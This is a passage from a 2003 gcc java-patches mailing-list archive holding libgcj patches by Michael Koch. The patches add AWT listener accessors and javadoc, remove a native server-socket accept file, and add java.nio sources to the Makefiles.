FooListeners are registered using the addFooListener * method. * + * @exception ClassCastException If listenerType doesn't specify a class or + * interface that implements @see java.util.EventListener. + * * @since 1.3 */ public EventListener[] getListeners(Class listenerType) @@ -994,15 +997,48 @@ } } - public void setFocusTraversalKeys(int id, Set keys) + /** + * Sets the focus traversal keys for a given traversal operation for this + * Container. + * + * @exception IllegalArgumentException If id is not one of + * KeyboardFocusManager.FORWARD_TRAVERSAL_KEYS, + * KeyboardFocusManager.BACKWARD_TRAVERSAL_KEYS, + * KeyboardFocusManager.UP_CYCLE_TRAVERSAL_KEYS, + * or KeyboardFocusManager.DOWN_CYCLE_TRAVERSAL_KEYS, + * or if keystrokes contains null, or if any Object in keystrokes is not an + * AWTKeyStroke, or if any keystroke represents a KEY_TYPED event, or if any + * keystroke already maps to another focus traversal operation for this + * Container. + * + * @since 1.4 + */ + public void setFocusTraversalKeys(int id, Set keystrokes) { if (id != KeyboardFocusManager.FORWARD_TRAVERSAL_KEYS && id != KeyboardFocusManager.BACKWARD_TRAVERSAL_KEYS && id != KeyboardFocusManager.UP_CYCLE_TRAVERSAL_KEYS && id != KeyboardFocusManager.DOWN_CYCLE_TRAVERSAL_KEYS) throw new IllegalArgumentException (); + + if (keystrokes == null) + throw new IllegalArgumentException (); + + throw new Error ("not implemented"); } + /** + * Returns the Set of focus traversal keys for a given traversal operation for + * this Container. + * + * @exception IllegalArgumentException If id is not one of + * KeyboardFocusManager.FORWARD_TRAVERSAL_KEYS, + * KeyboardFocusManager.BACKWARD_TRAVERSAL_KEYS, + * KeyboardFocusManager.UP_CYCLE_TRAVERSAL_KEYS, + * or KeyboardFocusManager.DOWN_CYCLE_TRAVERSAL_KEYS. + * + * @since 1.4 + */ public Set getFocusTraversalKeys(int id) { if (id != KeyboardFocusManager.FORWARD_TRAVERSAL_KEYS && @@ -1014,6 +1050,20 @@ return null; } + /** + * Returns whether the Set of focus traversal keys for the given focus + * traversal operation has been explicitly defined for this Container. + * If this method returns false, this Container is inheriting the Set from + * an ancestor, or from the current KeyboardFocusManager. + * + * @exception IllegalArgumentException If id is not one of + * KeyboardFocusManager.FORWARD_TRAVERSAL_KEYS, + * KeyboardFocusManager.BACKWARD_TRAVERSAL_KEYS, + * KeyboardFocusManager.UP_CYCLE_TRAVERSAL_KEYS, + * or KeyboardFocusManager.DOWN_CYCLE_TRAVERSAL_KEYS. + * + * @since 1.4 + */ public boolean areFocusTraversalKeysSet(int id) { if (id != KeyboardFocusManager.FORWARD_TRAVERSAL_KEYS && @@ -1060,8 +1110,16 @@ public void transferFocusDownCycle() { } - - public void applyComponentOrientation(ComponentOrientation o) + + /** + * Sets the ComponentOrientation property of this container and all components + * contained within it. + * + * @exception NullPointerException If orientation is null + * + * @since 1.4 + */ + public void applyComponentOrientation (ComponentOrientation orientation) { if (orientation == null) throw new NullPointerException (); Index: java/awt/ContainerOrderFocusTraversalPolicy.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/ContainerOrderFocusTraversalPolicy.java,v retrieving revision 1.2 diff -u -r1.2 ContainerOrderFocusTraversalPolicy.java --- java/awt/ContainerOrderFocusTraversalPolicy.java 10 Nov 2002 00:16:42 -0000 1.2 +++ java/awt/ContainerOrderFocusTraversalPolicy.java 14 Feb 2003 10:11:16 -0000 @@ -48,8 +48,11 @@ { static final long serialVersionUID = 486933713763926351L; - private boolean downCycle = true; + private boolean implicitDownCycleTraversal = true; + /** + * Creates the ContainerOrderFocusTraversalPolicy object. + */ public ContainerOrderFocusTraversalPolicy() { throw new Error("not implemented"); @@ -82,17 +85,19 @@ public void setImplicitDownCycleTraversal(boolean value) { - downCycle = value; + boolean implicitDownCycleTraversal = value; } public boolean getImplicitDownCycleTraversal() { - return downCycle; + return implicitDownCycleTraversal; } protected boolean accept(Component current) { - return current.visible && current.isDisplayable() && current.enabled - && current.focusable; + return (current.visible + && current.isDisplayable() + && current.enabled + && current.focusable); } } // class ContainerOrderFocusTraversalPolicy Index: java/awt/Dialog.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Dialog.java,v retrieving revision 1.5 diff -u -r1.5 Dialog.java --- java/awt/Dialog.java 22 Jan 2002 22:58:08 -0000 1.5 +++ java/awt/Dialog.java 14 Feb 2003 10:11:16 -0000 @@ -49,7 +49,7 @@ * @author Aaron M. Renn (arenn@urbanophile.com) * @author Tom Tromey */ -public class Dialog extends Window implements java.io.Serializable +public class Dialog extends Window { /* @@ -92,6 +92,10 @@ * parent, that is not resizable and not modal, and which has no title. * * @param parent The parent frame of this dialog box. + * + * @exception IllegalArgumentException If the owner's GraphicsConfiguration + * is not from a screen device, or if owner is null. This exception is always + * thrown when GraphicsEnvironment.isHeadless() returns true. */ public Dialog(Frame parent) @@ -108,6 +112,10 @@ * @param parent The parent frame of this dialog box. * @param modal if this dialog box is modal, false * otherwise. + * + * @exception IllegalArgumentException If the owner's GraphicsConfiguration + * is not from a screen device, or if owner is null. This exception is always + * thrown when GraphicsEnvironment.isHeadless() returns true. */ public Dialog(Frame parent, boolean modal) @@ -124,6 +132,10 @@ * * @param parent The parent frame of this dialog box. * @param title The title string for this dialog box. + * + * @exception IllegalArgumentException If the owner's GraphicsConfiguration + * is not from a screen device, or if owner is null. This exception is always + * thrown when GraphicsEnvironment.isHeadless() returns true. */ public Dialog(Frame parent, String title) @@ -160,12 +172,30 @@ this (owner, "", false); } +/** + * Initializes a new instance of Dialog with the specified, + * parent and title, that is not resizable. + * + * @exception IllegalArgumentException If parent is null. This exception is + * always thrown when GraphicsEnvironment.isHeadless() returns true. + * + * @since 1.2 + */ public Dialog (Dialog owner, String title) { this (owner, title, false); } +/** + * Initializes a new instance of Dialog with the specified, + * parent, title and modality, that is not resizable. + * + * @exception IllegalArgumentException If parent is null. This exception is + * always thrown when GraphicsEnvironment.isHeadless() returns true. + * + * @since 1.2 + */ public Dialog (Dialog owner, String title, boolean modal) { Index: java/awt/Font.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Font.java,v retrieving revision 1.9 diff -u -r1.9 Font.java --- java/awt/Font.java 9 Aug 2002 04:26:14 -0000 1.9 +++ java/awt/Font.java 14 Feb 2003 10:11:16 -0000 @@ -39,6 +39,7 @@ package java.awt; import java.awt.peer.FontPeer; +import java.io.Serializable; import java.util.StringTokenizer; /** @@ -47,7 +48,7 @@ * @author Aaron M. Renn (arenn@urbanophile.com) * @author Warren Levy */ -public class Font implements java.io.Serializable +public class Font implements Serializable { /* Index: java/awt/Frame.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Frame.java,v retrieving revision 1.11 diff -u -r1.11 Frame.java --- java/awt/Frame.java 10 Nov 2002 00:16:42 -0000 1.11 +++ java/awt/Frame.java 14 Feb 2003 10:11:17 -0000 @@ -42,7 +42,6 @@ import java.awt.peer.WindowPeer; import java.awt.peer.ContainerPeer; import java.awt.peer.ComponentPeer; -import java.io.Serializable; import java.util.Enumeration; import java.util.Vector; @@ -52,7 +51,7 @@ * * @author Aaron M. Renn (arenn@urbanophile.com) */ -public class Frame extends Window implements MenuContainer, Serializable +public class Frame extends Window implements MenuContainer { /* Index: java/awt/List.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/List.java,v retrieving revision 1.11 diff -u -r1.11 List.java --- java/awt/List.java 13 Feb 2003 19:28:31 -0000 1.11 +++ java/awt/List.java 14 Feb 2003 10:11:17 -0000 @@ -45,6 +45,7 @@ import java.awt.event.ItemListener; import java.awt.peer.ListPeer; import java.awt.peer.ComponentPeer; +import java.util.EventListener; import java.util.Vector; import javax.accessibility.Accessible; @@ -1030,4 +1031,38 @@ return "multiple=" + multipleMode + ",rows=" + rows + super.paramString(); } + /** + * Returns an array of all the objects currently registered as FooListeners + * upon this List. FooListeners are registered using the + * addFooListener method. + * + * @exception ClassCastException If listenerType doesn't specify a class or + * interface that implements java.util.EventListener. + */ + public EventListener[] getListeners (Class listenerType) + { + if (listenerType == ActionListener.class) + return AWTEventMulticaster.getListeners (action_listeners, listenerType); + + if (listenerType == ItemListener.class) + return AWTEventMulticaster.getListeners (item_listeners, listenerType); + + return super.getListeners (listenerType); + } + + /** + * Returns all action listeners registered to this object. + */ + public ActionListener[] getActionListeners () + { + return (ActionListener[]) getListeners (ActionListener.class); + } + + /** + * Returns all action listeners registered to this object. + */ + public ItemListener[] getItemListeners () + { + return (ItemListener[]) getListeners (ItemListener.class); + } } // class List Index: java/awt/Menu.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Menu.java,v retrieving revision 1.10 diff -u -r1.10 Menu.java --- java/awt/Menu.java 2 Jan 2003 00:14:22 -0000 1.10 +++ java/awt/Menu.java 14 Feb 2003 10:11:17 -0000 @@ -175,6 +175,18 @@ { return(items.size()); } + +/** + * Returns the number of items in this menu. + * + * @return The number of items in this menu. + * + * @deprecated As of JDK 1.1, replaced by getItemCount(). + */ +public int countItems () +{ + return getItemCount (); +} /*************************************************************************/ Index: java/awt/Scrollbar.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Scrollbar.java,v retrieving revision 1.11 diff -u -r1.11 Scrollbar.java --- java/awt/Scrollbar.java 13 Feb 2003 19:28:31 -0000 1.11 +++ java/awt/Scrollbar.java 14 Feb 2003 10:11:17 -0000 @@ -42,6 +42,7 @@ import java.awt.peer.ComponentPeer; import java.awt.event.AdjustmentListener; import java.awt.event.AdjustmentEvent; +import java.util.EventListener; import javax.accessibility.Accessible; /** @@ -699,5 +700,29 @@ + super.paramString()); } + /** + * Returns an array of all the objects currently registered as FooListeners + * upon this Scrollbar. FooListeners are registered using the + * addFooListener method. + * + * @exception ClassCastException If listenerType doesn't specify a class or + * interface that implements java.util.EventListener. + */ + public EventListener[] getListeners (Class listenerType) + { + if (listenerType == AdjustmentListener.class) + return AWTEventMulticaster.getListeners (adjustment_listeners, + listenerType); + + return super.getListeners (listenerType); + } + + /** + * Returns an array of all registered adjustment listeners. + */ + public AdjustmentListener[] getAdjustmentListeners () + { + return (AdjustmentListener[]) getListeners (AdjustmentListener.class); + } } // class Scrollbar Index: java/awt/TextComponent.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/TextComponent.java,v retrieving revision 1.8 diff -u -r1.8 TextComponent.java --- java/awt/TextComponent.java 14 Jan 2003 21:21:32 -0000 1.8 +++ java/awt/TextComponent.java 14 Feb 2003 10:11:17 -0000 @@ -42,6 +42,7 @@ import java.awt.event.TextListener; import java.awt.peer.TextComponentPeer; import java.awt.peer.ComponentPeer; +import java.util.EventListener; /** * This class provides common functionality for widgets than @@ -442,5 +443,28 @@ return(getClass().getName() + "(text=" + getText() + ")"); } + /** + * Returns an array of all the objects currently registered as FooListeners + * upon this TextComponent. FooListeners are registered using + * the addFooListener method. + * + * @exception ClassCastException If listenerType doesn't specify a class or + * interface that implements java.util.EventListener. + */ + public EventListener[] getListeners (Class listenerType) + { + if (listenerType == TextListener.class) + return AWTEventMulticaster.getListeners (textListener, listenerType); + + return super.getListeners (listenerType); + } + + /** + * Returns all text listeners registered to this object. + */ + public TextListener[] getTextListeners () + { + return (TextListener[]) getListeners (TextListener.class); + } } // class TextComponent Index: java/awt/TextField.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/TextField.java,v retrieving revision 1.5 diff -u -r1.5 TextField.java --- java/awt/TextField.java 13 Feb 2003 19:28:31 -0000 1.5 +++ java/awt/TextField.java 14 Feb 2003 10:11:17 -0000 @@ -43,6 +43,7 @@ import java.awt.peer.TextFieldPeer; import java.awt.peer.TextComponentPeer; import java.awt.peer.ComponentPeer; +import java.util.EventListener; /** * This class implements a single line text entry field widget @@ -489,4 +490,32 @@ getEchoChar()); } + /** + * Returns an array of all the objects currently registered as FooListeners + * upon this TextField. FooListeners are registered using the + * addFooListener method. + * + * @exception ClassCastException If listenerType doesn't specify a class or + * interface that implements java.util.EventListener. + * + * @since 1.3 + */ + public EventListener[] getListeners (Class listenerType) + { + if (listenerType == ActionListener.class) + return AWTEventMulticaster.getListeners (action_listeners, listenerType); + + return super.getListeners (listenerType); + } + + /** + * Return all ActionListeners register to this TextField object + * as an array. + * + * @since 1.4 + */ + public ActionListener[] getActionListeners () + { + return (ActionListener[]) getListeners (ActionListener.class); + } } // class TextField Index: java/awt/Window.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Window.java,v retrieving revision 1.16 diff -u -r1.16 Window.java --- java/awt/Window.java 31 Jan 2003 17:54:13 -0000 1.16 +++ java/awt/Window.java 14 Feb 2003 10:11:17 -0000 @@ -39,7 +39,9 @@ package java.awt; import java.awt.event.WindowEvent; +import java.awt.event.WindowFocusListener; import java.awt.event.WindowListener; +import java.awt.event.WindowStateListener; import java.awt.peer.WindowPeer; import java.awt.peer.ComponentPeer; import java.util.EventListener; @@ -61,6 +63,8 @@ private int windowSerializedDataVersion = 0; // FIXME private transient WindowListener windowListener; + private transient WindowFocusListener windowFocusListener; + private transient WindowStateListener windowStateListener; private transient GraphicsConfiguration graphicsConfiguration; /** @@ -378,6 +382,68 @@ return (WindowListener[]) AWTEventMulticaster.getListeners(windowListener, WindowListener.class); + } + + /** + * Returns an array of all the window focus listeners registered on this + * window. + * + * @since 1.4 + */ + public synchronized WindowFocusListener[] getWindowFocusListeners() + { + return (WindowFocusListener[]) + AWTEventMulticaster.getListeners(windowFocusListener, + WindowFocusListener.class); + } + + /** + * Returns an array of all the window state listeners registered on this + * window. + * + * @since 1.4 + */ + public synchronized WindowStateListener[] getWindowStateListeners() + { + return (WindowStateListener[]) + AWTEventMulticaster.getListeners(windowStateListener, + WindowStateListener.class); + } + + /** + * Adds the specified listener to this window. + */ + public void addWindowFocusListener (WindowFocusListener wfl) + { + AWTEventMulticaster.add (windowFocusListener, wfl); + } + + /** + * Adds the specified listener to this window. + * + * @since 1.4 + */ + public void addWindowStateListener (WindowStateListener wsl) + { + AWTEventMulticaster.add (windowStateListener, wsl); + } + + /** + * Removes the specified listener from this window. + */ + public void removeWindowFocusListener (WindowFocusListener wfl) + { + AWTEventMulticaster.remove (windowFocusListener, wfl); + } + + /** + * Removes the specified listener from this window. + * + * @since 1.4 + */ + public void removeWindowStateListener (WindowStateListener wsl) + { + AWTEventMulticaster.remove (windowStateListener, wsl); } /** Index: java/awt/datatransfer/DataFlavor.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/datatransfer/DataFlavor.java,v retrieving revision 1.5 diff -u -r1.5 DataFlavor.java --- java/awt/datatransfer/DataFlavor.java 13 Feb 2003 19:28:32 -0000 1.5 +++ java/awt/datatransfer/DataFlavor.java 14 Feb 2003 10:11:17 -0000 @@ -999,5 +999,62 @@ throw new UnsupportedFlavorException(this); } + /** + * Returns whether the representation class for this DataFlavor is + * @see java.nio.ByteBuffer or a subclass thereof. + * + * @since 1.4 + */ + public boolean isRepresentationClassByteBuffer () + { + try + { + return Class.forName ("java.nio.ByteBuffer") + .isAssignableFrom (representationClass); + } + catch (ClassNotFoundException e) + { + return false; + } + } + + /** + * Returns whether the representation class for this DataFlavor is + * @see java.nio.CharBuffer or a subclass thereof. + * + * @since 1.4 + */ + public boolean isRepresentationClassCharBuffer () + { + try + { + return Class.forName ("java.nio.CharBuffer") + .isAssignableFrom (representationClass); + } + catch (ClassNotFoundException e) + { + return false; + } + } + + /** + * Returns whether the representation class for this DataFlavor is + * @see java.io.Reader or a subclass thereof. + * + * @since 1.4 + */ + public boolean isRepresentationClassReader () + { + try + { + return Class.forName ("java.io.Reader") + .isAssignableFrom (representationClass); + } + catch (ClassNotFoundException e) + { + return false; + } + } + } // class DataFlavor --Boundary-00=_dsMT+yc/TEoBOs/-- From java-patches-return-6131-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 12:05:44 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26270 invoked by alias); 14 Feb 2003 12:05:43 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26263 invoked from network); 14 Feb 2003 12:05:42 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by 172.16.49.205 with SMTP; 14 Feb 2003 12:05:42 -0000 Received: from 192.168.1.3 (dynadsl-080-228-75-170.ewetel.net [80.228.75.170]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1EC5ebq009649 for ; Fri, 14 Feb 2003 13:05:41 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] gnu.java.nio - ServerSocketImpl Date: Fri, 14 Feb 2003 13:05:36 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200302141305.11383.konqueror@gmx.de> Content-Type: Multipart/Mixed; boundary="Boundary-00=_QuNT+Exiw9e2maz" X-CheckCompat: OK --Boundary-00=_QuNT+Exiw9e2maz Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Description: clearsigned data Content-Disposition: inline -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi List, I commited the appended patch to gnu.java.nio.ServerSocketImpl. Michael. - -- Homepage: http://www.worldforge.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+TNuQWSOgCCdjSDsRAtHDAKCdyNFHA5rrzNTHNGKchzzKnGhlqACeMAkQ QQCg6zyLusJAbw27CndBvn0= =ggn6 -----END PGP SIGNATURE----- --Boundary-00=_QuNT+Exiw9e2maz Content-Type: text/x-diff; charset="iso-8859-15"; name="nio.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="nio.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1698 diff -u -r1.1698 ChangeLog --- ChangeLog 13 Feb 2003 19:28:31 -0000 1.1698 +++ ChangeLog 14 Feb 2003 12:03:48 -0000 @@ -1,3 +1,10 @@ +2003-02-14 Michael Koch + + * gnu/java/nio/natServerSocketChannelImpl.cc: Removed. + * gnu/java/nio/ServerSocketChannelImpl.java + (SocketAccept): Removed. + (accept): Commented out use of SocketAccept. + 2003-02-13 Michael Koch * java/awt/Label.java Index: gnu/java/nio/natServerSocketChannelImpl.cc =================================================================== RCS file: gnu/java/nio/natServerSocketChannelImpl.cc diff -N gnu/java/nio/natServerSocketChannelImpl.cc --- gnu/java/nio/natServerSocketChannelImpl.cc 29 Nov 2002 07:56:58 -0000 1.1 +++ /dev/null 1 Jan 1970 00:00:00 -0000 @@ -1,77 +0,0 @@ -// natSelectorImpl.cc - -/* Copyright (C) 2002 Free Software Foundation - - This file is part of libgcj. - -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ - -#include -#include - -#include -#include - -#include -#include -#include -#include -#include -#include - -union SockAddr -{ - struct sockaddr_in address; -#ifdef HAVE_INET6 - struct sockaddr_in6 address6; -#endif -}; - -jint -gnu::java::nio::ServerSocketChannelImpl::SocketAccept ( - ServerSocketChannelImpl* socket, - SocketChannelImpl* s) -{ - union SockAddr u; - struct sockaddr *ptr = (struct sockaddr *) &u.address; - socklen_t addrlen = sizeof(struct sockaddr); -/* - jbyteArray haddress = socket->sa->getAddress ()->addr; - jbyte *bytes = elements (haddress); - int len = haddress->length; - - if (len == 4) - { - u.address.sin_family = AF_INET; - memcpy (&u.address.sin_addr, bytes, len); - len = sizeof (struct sockaddr_in); - u.address.sin_port = htons ( socket->sa->getPort ()); - } -#ifdef HAVE_INET6 - else if (len == 16) - { - u.address6.sin6_family = AF_INET6; - memcpy (&u.address6.sin6_addr, bytes, len); - len = sizeof (struct sockaddr_in6); - u.address6.sin6_port = htons (socket->sa->getPort ()); - } -#endif - else - throw new ::java::net::SocketException (JvNewStringUTF ("invalid length")); -*/ - - int sock = _Jv_accept (socket->fd, ptr, &addrlen); - - // FIXME: write address/port in ptr into java variables - - if (sock < 0) - { - char* strerr = strerror (errno); - throw new ::java::io::IOException (JvNewStringUTF (strerr)); - } - - s->fd = sock; - return sock; -} Index: gnu/java/nio/ServerSocketChannelImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/ServerSocketChannelImpl.java,v retrieving revision 1.3 diff -u -r1.3 ServerSocketChannelImpl.java --- gnu/java/nio/ServerSocketChannelImpl.java 11 Feb 2003 09:44:57 -0000 1.3 +++ gnu/java/nio/ServerSocketChannelImpl.java 14 Feb 2003 12:03:48 -0000 @@ -54,9 +54,6 @@ boolean connected = false; // InetSocketAddress sa; - private static native int SocketAccept (ServerSocketChannelImpl server, - SocketChannelImpl s); - protected ServerSocketChannelImpl (SelectorProvider provider) throws IOException { @@ -103,7 +100,7 @@ { SocketChannelImpl result = new SocketChannelImpl (provider ()); result.sa = new InetSocketAddress (0); - int res = SocketAccept (this,result); + //int res = SocketAccept (this,result); return result; } --Boundary-00=_QuNT+Exiw9e2maz-- From java-patches-return-6132-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 12:45:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8168 invoked by alias); 14 Feb 2003 12:45:10 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8161 invoked from network); 14 Feb 2003 12:45:10 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 14 Feb 2003 12:45:10 -0000 Received: from 192.168.1.3 (dynadsl-080-228-73-055.ewetel.net [80.228.73.55]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1ECj6bq023795 for ; Fri, 14 Feb 2003 13:45:07 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.nio -- important, please test on your platform Date: Fri, 14 Feb 2003 13:45:02 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_OTOT+du3FVN+bUs" Message-Id: <200302141345.02102.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_OTOT+du3FVN+bUs Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I wrote this little patch to build the whole java.nio currently in=20 CVS. This patch makes java.nio's API nearly 100% ready (2 methods in=20 java.nio.charset are still missing). It activates some native code so I would like that this gets tested on=20 several platforms before committing and get the feedback back=20 (especially the Windows and newlib [arm] people). Please review and comment. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD4DBQE+TOTOWSOgCCdjSDsRAuSoAJ4se0+tl+LClnOqo7jHAu9s9FY5tQCWNbJy sxtALtMwHUp+yHVCMEtXHQ=3D=3D =3DUZl4 =2D----END PGP SIGNATURE----- --Boundary-00=_OTOT+du3FVN+bUs Content-Type: text/x-diff; charset="iso-8859-15"; name="nio-critical.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="nio-critical.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1703 diff -u -r1.1703 ChangeLog --- ChangeLog 14 Feb 2003 12:07:31 -0000 1.1703 +++ ChangeLog 14 Feb 2003 12:39:20 -0000 @@ -1,5 +1,40 @@ 2003-02-14 Michael Koch + * java/nio/channels/FileChannel.java + (toString): New implementation, added documentation. + (map): Added exception documentation. + (size): Added exception documentation. + (write): New methods, documentation work. + (read): New methods, documentation work. + (implCloseChannel): Rewrote exception documentation. + (force): Throws IOException, added documentation. + (lock): New methods. + (tryLock): New methods. + (position): New methods. + (transferTo): New method. + (transferFrom): New method. + (truncate): New method. + * java/nio/channels/spi/SelectorProvider.java + (provider): Implemented. + * Makefile.am + (ordinary_java_source_files): Added the following files: + gnu/java/nio/DatagramChannelImpl.java + gnu/java/nio/FileChannelImpl.java + gnu/java/nio/PipeImpl.java + gnu/java/nio/SelectionKeyImpl.java + gnu/java/nio/SelectorImpl.java + gnu/java/nio/SelectorProviderImpl.java + gnu/java/nio/ServerSocketChannelImpl.java + gnu/java/nio/SocketChannelImpl.java + java/nio/channels/FileLock.java + (nat_java_source_files): Added the following files: + gnu/java/nio/natFileChannelImpl.cc + gnu/java/nio/natSelectorImpl.cc + gnu/java/nio/natSocketChannelImpl.cc + * Makefile.in: Regenerated. + +2003-02-14 Michael Koch + * gnu/java/nio/natServerSocketChannelImpl.cc: Removed. * gnu/java/nio/ServerSocketChannelImpl.java (SocketAccept): Removed. Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.277 diff -u -r1.277 Makefile.am --- Makefile.am 13 Feb 2003 07:45:57 -0000 1.277 +++ Makefile.am 14 Feb 2003 12:39:21 -0000 @@ -2048,11 +2048,19 @@ gnu/java/math/MPN.java \ gnu/java/nio/ByteBufferImpl.java \ gnu/java/nio/CharBufferImpl.java \ +gnu/java/nio/DatagramChannelImpl.java \ gnu/java/nio/DoubleBufferImpl.java \ +gnu/java/nio/FileChannelImpl.java \ gnu/java/nio/FloatBufferImpl.java \ gnu/java/nio/IntBufferImpl.java \ gnu/java/nio/LongBufferImpl.java \ +gnu/java/nio/PipeImpl.java \ +gnu/java/nio/SelectionKeyImpl.java \ +gnu/java/nio/SelectorImpl.java \ +gnu/java/nio/SelectorProviderImpl.java \ +gnu/java/nio/ServerSocketChannelImpl.java \ gnu/java/nio/ShortBufferImpl.java \ +gnu/java/nio/SocketChannelImpl.java \ gnu/java/nio/charset/ISO_8859_1.java \ gnu/java/nio/charset/Provider.java \ gnu/java/nio/charset/US_ASCII.java \ @@ -2180,6 +2188,7 @@ java/nio/channels/ConnectionPendingException.java \ java/nio/channels/DatagramChannel.java \ java/nio/channels/FileChannel.java \ +java/nio/channels/FileLock.java \ java/nio/channels/FileLockInterruptionException.java \ java/nio/channels/GatheringByteChannel.java \ java/nio/channels/IllegalBlockingModeException.java \ @@ -2461,10 +2470,13 @@ gnu/java/nio/natByteBufferImpl.cc \ gnu/java/nio/natCharBufferImpl.cc \ gnu/java/nio/natDoubleBufferImpl.cc \ +gnu/java/nio/natFileChannelImpl.cc \ gnu/java/nio/natFloatBufferImpl.cc \ gnu/java/nio/natIntBufferImpl.cc \ gnu/java/nio/natLongBufferImpl.cc \ +gnu/java/nio/natSelectorImpl.cc \ gnu/java/nio/natShortBufferImpl.cc \ +gnu/java/nio/natSocketChannelImpl.cc \ java/io/natFile.cc \ java/io/natFileDescriptor.cc \ java/io/natObjectInputStream.cc \ Index: Makefile.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.in,v retrieving revision 1.298 diff -u -r1.298 Makefile.in --- Makefile.in 13 Feb 2003 07:45:57 -0000 1.298 +++ Makefile.in 14 Feb 2003 12:39:24 -0000 @@ -1808,11 +1808,19 @@ gnu/java/math/MPN.java \ gnu/java/nio/ByteBufferImpl.java \ gnu/java/nio/CharBufferImpl.java \ +gnu/java/nio/DatagramChannelImpl.java \ gnu/java/nio/DoubleBufferImpl.java \ +gnu/java/nio/FileChannelImpl.java \ gnu/java/nio/FloatBufferImpl.java \ gnu/java/nio/IntBufferImpl.java \ gnu/java/nio/LongBufferImpl.java \ +gnu/java/nio/PipeImpl.java \ +gnu/java/nio/SelectionKeyImpl.java \ +gnu/java/nio/SelectorImpl.java \ +gnu/java/nio/SelectorProviderImpl.java \ +gnu/java/nio/ServerSocketChannelImpl.java \ gnu/java/nio/ShortBufferImpl.java \ +gnu/java/nio/SocketChannelImpl.java \ gnu/java/nio/charset/ISO_8859_1.java \ gnu/java/nio/charset/Provider.java \ gnu/java/nio/charset/US_ASCII.java \ @@ -1940,6 +1948,7 @@ java/nio/channels/ConnectionPendingException.java \ java/nio/channels/DatagramChannel.java \ java/nio/channels/FileChannel.java \ +java/nio/channels/FileLock.java \ java/nio/channels/FileLockInterruptionException.java \ java/nio/channels/GatheringByteChannel.java \ java/nio/channels/IllegalBlockingModeException.java \ @@ -2220,10 +2229,13 @@ gnu/java/nio/natByteBufferImpl.cc \ gnu/java/nio/natCharBufferImpl.cc \ gnu/java/nio/natDoubleBufferImpl.cc \ +gnu/java/nio/natFileChannelImpl.cc \ gnu/java/nio/natFloatBufferImpl.cc \ gnu/java/nio/natIntBufferImpl.cc \ gnu/java/nio/natLongBufferImpl.cc \ +gnu/java/nio/natSelectorImpl.cc \ gnu/java/nio/natShortBufferImpl.cc \ +gnu/java/nio/natSocketChannelImpl.cc \ java/io/natFile.cc \ java/io/natFileDescriptor.cc \ java/io/natObjectInputStream.cc \ @@ -2397,9 +2409,11 @@ gnu/gcj/runtime/natStackTrace.lo gnu/gcj/runtime/natStringBuffer.lo \ gnu/gcj/runtime/natVMClassLoader.lo gnu/java/nio/natByteBufferImpl.lo \ gnu/java/nio/natCharBufferImpl.lo gnu/java/nio/natDoubleBufferImpl.lo \ +gnu/java/nio/natFileChannelImpl.lo \ gnu/java/nio/natFloatBufferImpl.lo gnu/java/nio/natIntBufferImpl.lo \ gnu/java/nio/natLongBufferImpl.lo \ -gnu/java/nio/natShortBufferImpl.lo \ +gnu/java/nio/natSelectorImpl.lo \ +gnu/java/nio/natShortBufferImpl.lo gnu/java/nio/natSocketChannelImpl.lo \ java/io/natFile.lo 